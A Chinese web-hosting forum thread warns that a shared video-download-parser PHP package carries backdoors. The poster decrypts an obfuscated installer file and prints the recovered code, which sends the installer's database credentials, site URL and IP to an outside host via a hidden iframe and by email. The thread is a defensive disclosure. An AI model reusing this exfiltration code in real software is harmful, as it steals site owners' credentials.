flyqie 大佬有话说 : 2019-12-7 20:26:42
关于某大佬发的[视频下载解析源码]可能含有后门的警告
本帖最后由 flyqie 于 2019-12-7 20:46 编辑
大佬帖子:
https://www.hostloc.com/thread-620400-1-1.html
分析:
install/database_details.php :
https://i.loli.net/2019/12/07/4rvkm5NV2yndSpT.jpg
install/includes/encrypt.php:
https://i.loli.net/2019/12/07/IMqHwgu9z4exWZy.jpg
加密？混淆？没关系，写个php破解下(字数超限):
https://pastebin.com/7x1PkQrb
好的，跑出来了:
正在进行第1次操作
第1次操作完毕
正在进行第2次操作
第2次操作完毕
正在进行第3次操作
第3次操作完毕
正在进行第4次操作
第4次操作完毕
正在进行第5次操作
第5次操作完毕
正在进行第6次操作
第6次操作完毕
正在进行第7次操作
第7次操作完毕
正在进行第8次操作
第8次操作完毕
正在进行第9次操作
第9次操作完毕
正在进行第10次操作
第10次操作完毕
正在进行第11次操作
第11次操作完毕
正在进行第12次操作
第12次操作完毕
正在进行第13次操作
第13次操作完毕
正在进行第14次操作
第14次操作完毕
正在进行第15次操作
第15次操作完毕
正在进行第16次操作
第16次操作完毕
正在进行第17次操作
已解密疑似内容,内容为[
$timezone_name = date_default_timezone_set(‘Asia/Kolkata’);
$ip_mail = getenv(‘HTTP_CLIENT_IP’)?:
getenv(‘HTTP_X_FORWARDED_FOR’)?:
getenv(‘HTTP_X_FORWARDED’)?:
getenv(‘HTTP_FORWARDED_FOR’)?:
getenv(‘HTTP_FORWARDED’)?:
getenv(‘REMOTE_ADDR’);
$validation_ip = $ip_mail;
date_default_timezone_set(‘Asia/Kolkata’);
$date_1 = date("d-m-Y");
$date_2 = " ";
$date_3 = date("h:i:sa");
$date = $date_1 . $date_2 . $date_3;
$validation_date = $date;
$validation_url = (isset($_SERVER[‘HTTPS’]) && $_SERVER[‘HTTPS’] === ‘on’ ? "https" : "http") . "://$_SERVER$_SERVER";
$to = "[email protected], [email protected]";
$subject = "HTML email";
$rand_num_1 = rand(254651,35153514);
$rand_num_2 = rand(682734,85214651);
$rand_num_3 = rand(663221,63147895);
$install_code = $rand_num_1 . $rand_num_2 . $rand_num_3;
$host_name = $_SESSION["server"]; //1
$host_db_name = $_SESSION["database"]; //2
$host_db_user = $_SESSION["username"]; //3
$host_db_pass = $_SESSION["password"]; //4
$url = $validation_url; //5
$date_1 = date("d-m-Y");
$date_2 = " ";
$date_3 = date("h:i:sa");
$date_created = $date_1 . $date_2 . $date_3; //6
$html_2 = ‘
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
iframe.hidden
{
display:none
}
</style>
</head>
<body>
<iframe class="hidden" src="https://www.sifylab.com/apps/hexcody/1_global/web_install_host.php?pass=prettysecret24&install_code=’.$install_code.’&host_name=’.$host_name.’&host_db_name=’.$host_db_name.’&host_db_user=’.$host_db_user.’&host_db_pass=’.$host_db_pass.’&url=’.$url.’&date_created=’.$date_created.’"></iframe>
</body>
</html>
‘;
echo $html_2;
$message_mail = "
<html>
<head>
<title>HTML email</title>
</head>
<body>
<p>Hosting Install Info</p>
<br/><br/> <h3><font color = ‘red’ >Hosting Details : </font></h3><br/><br/> Host : ".$_SESSION["server"]." <br/> Database : ".$_SESSION["database"]." <br/> Username : ".$_SESSION["username"]." <br/> Password : ".$_SESSION["password"]." <br/> Url : ".$validation_url." <br/><br/> Date : ".$validation_date." <br/> TimeZone : ".$timezone_name." <br/><br/> Location IP : ".$validation_ip." <br/><br/>Install Code : ".$install_code."<br/><br/>
<h3>Poison Successfully Injected</h3>
</body>
</html>
";
// Always set content-type when sending HTML email
$headers = "MIME-Version: 1.0" . "rn";
$headers .= "Content-type:text/html;charset=UTF-8" . "rn";
// More headers
$headers .= ‘From: <[email protected]>’ . "rn";
$headers .= ‘Cc: [email protected]’ . "rn";
mail($to,$subject,$message_mail,$headers);
]
代码还原出来了，整理一下(字数超限):
https://pastebin.com/gmGVEfHA
到此，分析完毕，该源码可能会导致安装者站点关键信息泄露.
但我相信，loc大佬是清白的，初衷是为了分享，也没有想到可能会有后门.
本人技术有限，如有错误，恳请指出，谢谢!
——————————————————————-
更新:
又发现后门(注释上写的后门文件是在后续解密已加密文件后得出结论的,注释写于解密分析已加密文件完毕后):
install/website_details_settings.php :
https://i.loli.net/2019/12/07/2Q9E8HGBSwsqLNe.jpg
install/includes/fncrypt.php :
emmmm混淆了
https://i.loli.net/2019/12/07/kL2N7OZmhwqDPtS.jpg
加密方式如出一辙，继续用之前的php解密跑一遍(字数超限):
https://pastebin.com/94Be5DTv
格式化分析一下(字数超限):
https://pastebin.com/sFn0cR0E
到此，第二轮分析完毕，该源码可能会导致站点管理员信息泄露.
还是那句话:
我相信，loc大佬是清白的，初衷是为了分享，也没有想到可能会有后门.
本人技术有限，如有错误，恳请指出，谢谢!
wolfewong 大佬有话说 : 2019-12-7 20:42:41
后门好像挺多的
https://s2.ax1x.com/2019/12/07/QN07Fg.png
seeseexiyou 大佬有话说 : 2019-12-7 20:29:46
前排围观大佬在线解密啊
okvps 大佬有话说 : 2019-12-7 20:32:40
不懂，顶上去让更多大佬看到
kzus 大佬有话说 : 2019-12-7 20:35:04
[email protected]
[email protected]
TianTangJun 大佬有话说 : 2019-12-7 20:36:37
前排 围观下
梦里寻她她他它 大佬有话说 : 2019-12-7 20:37:49
支持解密:lol:lol
判官 大佬有话说 : 2019-12-7 20:43:25
想跟大佬学习怎么解密啊
SВ 大佬有话说 : 2019-12-7 20:43:30
有点复杂。
leasr 大佬有话说 : 2019-12-7 20:44:19
揭秘贴要支持阿哈哈